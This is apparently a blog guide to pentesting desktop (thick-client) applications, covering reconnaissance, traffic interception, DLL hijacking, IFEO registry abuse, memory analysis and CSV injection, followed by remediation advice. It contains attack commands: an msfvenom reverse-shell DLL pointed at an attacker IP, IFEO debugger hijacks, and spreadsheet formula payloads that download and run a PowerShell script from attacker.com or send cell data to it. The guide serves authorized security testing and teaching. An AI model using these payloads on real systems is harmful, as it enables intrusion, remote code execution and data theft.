Post

Thick-Client Pentesting — The Complete Practical Guide

Posted Updated
By Kyrillos Nady
17 min read
Thick-Client Pentesting — The Complete Practical Guide

TL;DR: Thick-client applications (desktop/native clients) are ubiquitous in enterprise environments and require a comprehensive blend of binary analysis, OS-level testing, network protocol examination, and runtime analysis. This guide provides a structured methodology, architecture overviews, essential tooling, and practical test cases including DLL hijacking, IFEO attacks, memory/registry analysis, traffic interception, assembly security checks, and CSV injection vulnerabilities—all with proper authorization requirements.

⚠️ Legal & Ethical Notice: Only test systems you own or have explicit, written permission to test. The techniques described below are intended solely for authorized security assessments and defensive improvement purposes.

Table of Contents

  1. What is a Thick-Client Application?
  2. Testing Methodology
  3. Architecture Types
  4. Information Gathering
  5. Traffic Interception
  6. DLL Hijacking Attacks
  7. IFEO Injection Attacks
  8. Memory & Registry Analysis
  9. Assembly Security Analysis
  10. Digital Signature Verification
  11. CSV Injection Testing
  12. Automated Analysis Tools
  13. Security Checklist
  14. Remediation Guidelines

What is a Thick-Client Application?

Thick-client (also known as fat-client or native client) applications are programs installed and executed locally on a user’s machine while depending on remote resources such as databases, APIs, license servers, or update services. Unlike thin web applications, the majority of application logic, state management, and potential attack surface resides on the client-side through binaries, DLLs, configuration files, cached credentials, IPC channels, and native communication protocols.

Common Implementation Platforms

PlatformTechnologiesExamples
.NET FrameworkC#, VB.NET (WPF, WinForms)Enterprise applications, desktop utilities
Native CodeC/C++, Win32 APISystem tools, games, legacy applications
JavaSwing, JavaFX, SWTCross-platform business applications
PythonTkinter, PyQt (PyInstaller bundles)Scientific tools, automation scripts
ElectronJavaScript + ChromiumModern desktop apps (Discord, Slack)
Cross-PlatformQt, GTK, DelphiMulti-OS applications

Testing Methodology

1. Information Gathering Phase

  • Binary Inventory: Catalog all executables, libraries, and dependencies
  • System Integration: Identify auto-start entries, services, scheduled tasks
  • Configuration Discovery: Locate config files, connection strings, cached data
  • Network Footprint: Map open ports, IPC endpoints, communication protocols
  • Framework Analysis: Determine underlying technologies and versions

2. Traffic Analysis Phase

  • Protocol Monitoring: Capture HTTP/HTTPS and proprietary protocol traffic
  • Encryption Assessment: Evaluate cryptographic implementations and strength
  • Data Leakage Detection: Identify sensitive information in network communications
  • Man-in-the-Middle Testing: Test certificate validation and pinning

3. Client-Side Analysis Phase

  • Static Analysis: PE/ELF/JAR inspection, string analysis, resource examination
  • Dynamic Analysis: Runtime behavior monitoring, API hooking, memory inspection
  • File System Analysis: Configuration files, logs, cached credentials
  • Registry Analysis: Windows registry entries and modifications

4. Server-Side Analysis Phase

  • API Security Testing: Authentication, authorization, input validation
  • Backend Communication: Protocol security, session management
  • Business Logic Testing: Workflow manipulation, privilege escalation

Architecture Types

Two-Tier Architecture

Characteristics:

  • Direct client-to-database communication
  • Application logic resides on the client
  • Faster data transfer due to minimal middleware
  • Common in desktop applications and legacy systems

Advantages:

  • ✅ Simple implementation and deployment
  • ✅ Fast communication with minimal latency
  • ✅ Suitable for static business rules

Disadvantages:

  • ❌ Poor scalability as user base grows
  • ❌ Data integrity issues with concurrent access
  • ❌ Security concerns with direct database access
  • ❌ Difficult maintenance and updates

Three-Tier Architecture

Layer Responsibilities:

  1. Presentation Tier: User interface and user experience
  2. Application Tier: Business logic, validation, and processing
  3. Data Tier: Data storage, retrieval, and management

Advantages:

  • ✅ Horizontal scalability through load balancing
  • ✅ Better separation of concerns and maintainability
  • ✅ Improved data integrity through middleware controls
  • ✅ Enhanced security through layered architecture

Information Gathering

1. System Integration Analysis

1
2
3
4
5
6
7
8

# Autorun Analysis - Identify startup applications
autorun.exe > startup_analysis.txt

# Service Enumeration
sc query state= all > services_list.txt

# Scheduled Tasks
schtasks /query /fo LIST /v > scheduled_tasks.txt

2. Binary Analysis Tools

ToolPurposeUsage
CFF ExplorerPE file analysis, framework detectionGUI-based PE inspection
Detect It Easy (DIE)File type detection, packer identificationdie.exe target.exe
PEiDPacker/compiler detectionLegacy PE analysis
Dependency WalkerDLL dependency analysisVisual dependency mapping

3. String Extraction

1
2
3
4
5
6
7
8

# Extract ASCII/Unicode strings
strings.exe target.exe > extracted_strings.txt

# Filter for potential credentials or URLs
strings.exe target.exe | findstr -i "password\|user\|api\|http\|sql"

# PowerShell alternative for detailed analysis
Get-Content target.exe | Select-String -Pattern "password|user|api|key" -CaseSensitive:$false

Traffic Interception

HTTP/HTTPS Traffic

Burp Suite Configuration

1
2
3

# Configure application proxy settings
# Proxy: 127.0.0.1:8080
# Install Burp CA certificate for HTTPS interception

Fiddler Setup

  • Enable HTTPS decryption
  • Configure application to use 127.0.0.1:8888 proxy
  • Install Fiddler root certificate

Non-HTTP Protocol Interception

1. Echo Mirage (.NET Applications)

1
2
3

# Launch Echo Mirage
# Attach to target process
# Configure SSL/TLS interception if needed

2. MITM Relay + Burp Suite

1
2
3
4
5
6
7

# Intercept custom protocols through Burp
python3 mitm_relay.py -L 0.0.0.0 -r tcp:21:target_ip:1111 -p 127.0.0.1:8080

# Parameters explained:
# -L 0.0.0.0: Listen on all interfaces
# -r tcp:21:target_ip:1111: Relay TCP traffic from port 21 to target
# -p 127.0.0.1:8080: Forward through Burp proxy

3. Wireshark Analysis

1
2
3

# Capture specific application traffic
# Filter: ip.addr == target_ip and tcp.port == target_port
# Analyze protocols: FTP, SMTP, custom TCP/UDP

Traffic Analysis Checklist






DLL Hijacking Attacks

DLL hijacking exploits the Windows DLL search order to execute malicious code by placing a crafted DLL in a location where the application will load it instead of the legitimate library.

1. Process Monitor (ProcMon) Method

1
2
3
4
5
6
7

# Step 1: Launch Process Monitor
procmon.exe

# Step 2: Configure filters
# - Process Name: target_application.exe
# - Path ends with: .dll
# - Result is: NAME NOT FOUND or PATH NOT FOUND

Filter Configuration:

1
2
3
4

Process Name: target_app.exe
Operation: Process and Thread Activity
Path: ends with .dll
Result: NAME NOT FOUND

2. Automated DLL Hijacking Tools

DLLSpy

1
2
3
4
5
6
7

DLLSpy.exe -d -s -r 2 -o results.csv

# Parameters:
# -d: Find DLL hijacking in running processes
# -s: Search for DLL references in binaries
# -r 2: Recursive search (level 2)
# -o: Output results to CSV

Impulsive DLL Hijack

1
2
3
4

impulsiveDLLHijack.exe -path "C:\Program Files\Target\target.exe"

# Automated discovery and exploitation
# Generates weaponized DLL payloads

3. Malicious DLL Creation

1
2
3
4
5

# Generate payload DLL with msfvenom
msfvenom -f dll -p windows/x64/exec CMD="calc.exe" -o malicious.dll

# For reverse shell payload
msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -o payload.dll

DLL Search Order Exploitation

  1. Application directory
  2. System directory (C:\Windows\System32)
  3. 16-bit system directory (C:\Windows\System)
  4. Windows directory (C:\Windows)
  5. Current directory
  6. PATH environment variable directories

IFEO Injection Attacks

Image File Execution Options (IFEO) is a Windows registry feature that allows debugging of applications. Attackers can abuse this to execute malicious code when specific applications are launched.

Registry Modification

1
2
3
4
5
6
7
8
9

# Registry path for IFEO
$RegistryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"

# Create registry entry for debugger
New-Item -Path $RegistryPath -Force
New-ItemProperty -Path $RegistryPath -Name "Debugger" -Value "calc.exe" -PropertyType String

# Alternative: Use reg command
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "calc.exe"

IFEO Attack Scenarios

  1. Process Replacement: Replace legitimate process with malicious one
  2. Command Injection: Execute additional commands during application startup
  3. Persistence: Maintain system access through legitimate application launches

Memory & Registry Analysis

Memory Dump Analysis

Using Task Manager

  1. Open Task Manager → Processes tab
  2. Right-click target application → “Create dump file”
  3. Analyze dump with HxD or similar hex editor

Using HxD for Memory Analysis

1
2
3

# Search patterns in memory dump
# Look for: passwords, API keys, connection strings, tokens
# Search for Unicode and ASCII strings

Process Explorer Integration

1
2
3

# Strings analysis through Process Explorer
# Select process → Properties → Strings tab
# Filter for sensitive data patterns

Registry Analysis

Manual Registry Inspection

1
2
3
4
5
6
7
8
9

# Navigate to application-specific registry keys
# HKEY_CURRENT_USER\Software\[Application]
# HKEY_LOCAL_MACHINE\SOFTWARE\[Application]

# Look for:
# - Stored credentials
# - Configuration parameters  
# - License keys
# - Connection strings

Regshot Comparison Tool

1
2
3
4
5
6
7
8
9
10
11

# Step 1: Take baseline snapshot
regshot.exe -> 1st shot

# Step 2: Execute application functionality
# Explore all features, configuration changes

# Step 3: Take comparison snapshot  
regshot.exe -> 2nd shot -> Compare

# Analysis: Review registry changes
# Identify: new keys, modified values, deleted entries

Memory Analysis Techniques

ToolPurposeCommand/Usage
HxDHex editor for memory dumpsGUI-based analysis
strings.exeExtract text stringsstrings.exe dump.dmp
Process HackerAdvanced process analysisGUI with memory viewer
VolatilityAdvanced memory forensicsvol.py -f memdump.raw pslist

Assembly Security Analysis

Modern applications should implement various security mechanisms to prevent exploitation. This analysis verifies the presence and effectiveness of these protections.

Security Mechanisms Overview

1. Address Space Layout Randomization (ASLR)

  • Purpose: Randomizes memory layout to prevent predictable exploits
  • Impact: Mitigates buffer overflow and ROP attacks
  • Check: Verify /DYNAMICBASE flag in PE headers

2. Data Execution Prevention (DEP/NX)

  • Purpose: Marks memory regions as non-executable
  • Impact: Prevents shellcode execution in data segments
  • Check: Verify /NXCOMPAT flag and hardware DEP support

3. Structured Exception Handler (SafeSEH)

  • Purpose: Validates exception handlers before execution
  • Impact: Prevents SEH overwrite attacks
  • Check: Verify /SAFESEH flag in 32-bit applications

4. Control Flow Guard (CFG)

  • Purpose: Validates indirect call targets
  • Impact: Prevents ROP/JOP exploitation techniques
  • Check: Verify /GUARD:CF flag

Analysis Tools

PowerShell PE Security Module

1
2
3
4
5
6
7
8
9
10
11

# Import the PE security analysis module
Import-Module .\Get-PESecurity.psm1

# Analyze single executable
Get-PESecurity -file "C:\Program Files\Target\application.exe"

# Batch analysis of directory
Get-ChildItem "C:\Program Files\Target\*.exe" | Get-PESecurity

# Export results to CSV
Get-PESecurity -file target.exe | Export-Csv security_analysis.csv

System Informer (Process Hacker)

1
2
3
4
5

# GUI Analysis Steps:
# 1. Open System Informer
# 2. Navigate to target process
# 3. Right-click → Properties
# 4. Security tab → View protection status

Security Analysis Results

ProtectionStatusRisk LevelRecommendation
ASLR✅ EnabledLowMaintain current setting
DEP/NX❌ DisabledHighEnable DEP compilation flag
SafeSEH✅ EnabledLowMaintain current setting
CFG⚠️ PartialMediumEnable full CFG protection

Digital Signature Verification

Digital signatures ensure application authenticity and integrity. Unsigned or improperly signed applications present security risks.

SignCheck Analysis

1
2
3
4
5
6
7
8

# Verify single file signature
sigcheck.exe -a -h target.exe

# Batch verification of directory
sigcheck.exe -a -h -s "C:\Program Files\Target\"

# Export results with detailed information
sigcheck.exe -a -h -c target.exe > signature_report.csv

Signature Analysis Checklist






PowerShell Signature Verification

1
2
3
4
5
6
7
8
9

# Get signature information
Get-AuthenticodeSignature "C:\Program Files\Target\application.exe"

# Verify certificate chain
$cert = (Get-AuthenticodeSignature target.exe).SignerCertificate
$cert.Verify()

# Check certificate details
$cert | Select-Object Subject, Issuer, NotBefore, NotAfter

CSV Injection Testing

CSV injection (also known as Formula injection) occurs when applications allow user input to be exported to spreadsheet formats without proper sanitization.

Testing Methodology

1. Payload Injection

1
2
3
4
5
6
7
8
9
10
11

# Basic calculation payload
=4+4

# System command execution (older Excel versions)
=cmd|'/c calc'!A0

# Dynamic Data Exchange (DDE) payload  
=cmd|'/c powershell.exe IEX (wget attacker.com/shell.ps1)'!A0

# Hyperlink-based payload
=HYPERLINK("http://attacker.com/harvest?data="&A1,"Click here")

2. Testing Process

  1. Input Injection: Enter formula payloads in form fields
  2. Export Function: Use application’s export-to-CSV feature
  3. File Analysis: Open exported file in Excel/LibreOffice
  4. Result Verification: Check if formulas were executed

3. Advanced Payloads

1
2
3
4
5
6
7
8

# Data exfiltration
=CONCATENATE("http://attacker.com/harvest?",A1,B1,C1)

# Local file read (context-dependent)
=WEBSERVICE("http://attacker.com/"&CONCATENATE(A1:A100))

# Multi-cell reference
=SUM(A1:Z999)*0+cmd|'/c calc.exe'!A0

Prevention Strategies

  • Input sanitization for special characters (=, +, -, @)
  • CSV escaping with single quotes ('=formula becomes literal)
  • Content Security Policy for web-based exports
  • User education about macro security

Automated Analysis Tools

Visual Grepper

1
2
3
4
5
6
7
8

# Comprehensive source code analysis
vg.exe -s target_source_directory

# Specific vulnerability scanning
vg.exe -c config_file.xml target.exe

# Output formats: HTML, XML, CSV
vg.exe -f html -o report.html target_directory

Additional Automated Tools

ToolPurposeUsage
VeracodeStatic application security testingCommercial SAST solution
SonarQubeCode quality and security analysissonar-scanner
CheckmarxStatic code analysisEnterprise SAST platform
OWASP Dependency CheckVulnerable dependency detectiondependency-check.sh --project target --scan .

Security Checklist

Pre-Assessment Preparation






1. Initial Reconnaissance







2. Reverse Engineering

Static Analysis








Dynamic Analysis





3. Vulnerability Testing

Input Validation






File Handling





Memory Security




Authentication and Authorization





4. Network and Communication



5. Security Bypass





6. Persistence




7. Privilege Escalation





8. Advanced Exploitation





9. System Protections




Post-Assessment Checklist






Resource TypeLinkDescription
StandardsOWASP Desktop Top 10Desktop app security framework
StandardsOWASP Top TenGeneral web security principles
MethodologyISECOM OSSTMMOpen source security testing manual
TutorialInfoSec WriteupsModern approaches and techniques
LearningLearnOffSec DASStructured desktop app security course
Linux FocusPayatu Linux GuideLinux thick client testing
ComprehensiveQualySec GuideComplete testing guide
GeneralPayatu OverviewGeneral methodologies
PracticalMedium TutorialHands-on approach
AdvancedDark Relay TechniquesAdvanced exploitation
EnterpriseCyberArk MethodologyEnterprise-focused approach
MethodologyBlack Hills InfoSecTesting methodology summary
ToolsGitHub - KungFuLonPractical tools and scripts

Remediation Guidelines

High-Priority Security Fixes

1. Enable Compilation Security Features

1
2
3
4
5
6
7
8
9
10

# Visual Studio C++ compiler flags
/DYNAMICBASE    # Enable ASLR
/NXCOMPAT       # Enable DEP
/SAFESEH        # Enable SafeSEH (32-bit)  
/GUARD:CF       # Enable Control Flow Guard

# GCC compiler flags
-fstack-protector-all    # Stack protection
-D_FORTIFY_SOURCE=2      # Buffer overflow detection
-fPIE -pie              # Position independent executable

2. Secure DLL Loading

1
2
3
4
5
6

// C++ secure DLL loading
SetDllDirectory(L"");                    // Remove current directory
SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32);

// .NET assembly loading security
[assembly: AllowPartiallyTrustedCallers(false)]

3. Input Validation and Sanitization

1
2
3
4
5
6
7
8
9
10
11
12
13
14

// CSV injection prevention
public string SanitizeCSVField(string input)
{
    if (string.IsNullOrEmpty(input)) return input;
    
    // Escape formula characters
    if (input.StartsWith("=") || input.StartsWith("+") || 
        input.StartsWith("-") || input.StartsWith("@"))
    {
        return "'" + input;  // Prepend with single quote
    }
    
    return input;
}

4. Memory Protection

1
2
3
4
5
6
7

// Secure memory allocation and cleanup  
SecureZeroMemory(password_buffer, buffer_size);

// Use secure string classes
std::unique_ptr<char[]> secure_buffer(new char[size]);
// ... use buffer
SecureZeroMemory(secure_buffer.get(), size);

Medium-Priority Improvements

1. Certificate Pinning

1
2
3
4
5

// .NET certificate pinning example
ServicePointManager.ServerCertificateValidationCallback = 
    (sender, certificate, chain, errors) => {
        return certificate.GetCertHashString() == EXPECTED_CERT_HASH;
    };

2. Configuration Security

1
2
3
4
5
6
7
8

<!-- Encrypt sensitive configuration sections -->
<configuration>
  <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">
    <EncryptedData>
      <!-- Encrypted connection string -->
    </EncryptedData>
  </connectionStrings>
</configuration>

Implementation Timeline

PriorityRemediationTimelineEffort
CriticalEnable DEP/ASLR1-2 weeksLow
HighFix DLL hijacking2-4 weeksMedium
HighInput validation3-6 weeksHigh
MediumCertificate pinning4-8 weeksMedium
LowCode obfuscation8-12 weeksHigh

Conclusion

Thick-client application security requires a comprehensive approach combining static analysis, dynamic testing, and runtime monitoring. The methodology outlined in this guide provides a structured approach to identifying and mitigating common vulnerabilities in desktop applications.

Key takeaways:

  • Comprehensive Testing: Combine multiple analysis techniques for thorough coverage
  • Automation: Leverage automated tools while maintaining manual verification
  • Defense in Depth: Implement multiple security layers rather than relying on single protections
  • Regular Assessment: Conduct periodic security reviews as applications evolve
  • Documentation: Maintain detailed records of findings and remediation efforts

Remember to always obtain proper authorization before conducting any security testing and follow responsible disclosure practices for any vulnerabilities discovered.

THANKS FOR READING ❤️

TC-Pentest
TC-Pentest
This post is licensed under CC BY 4.0 by the author.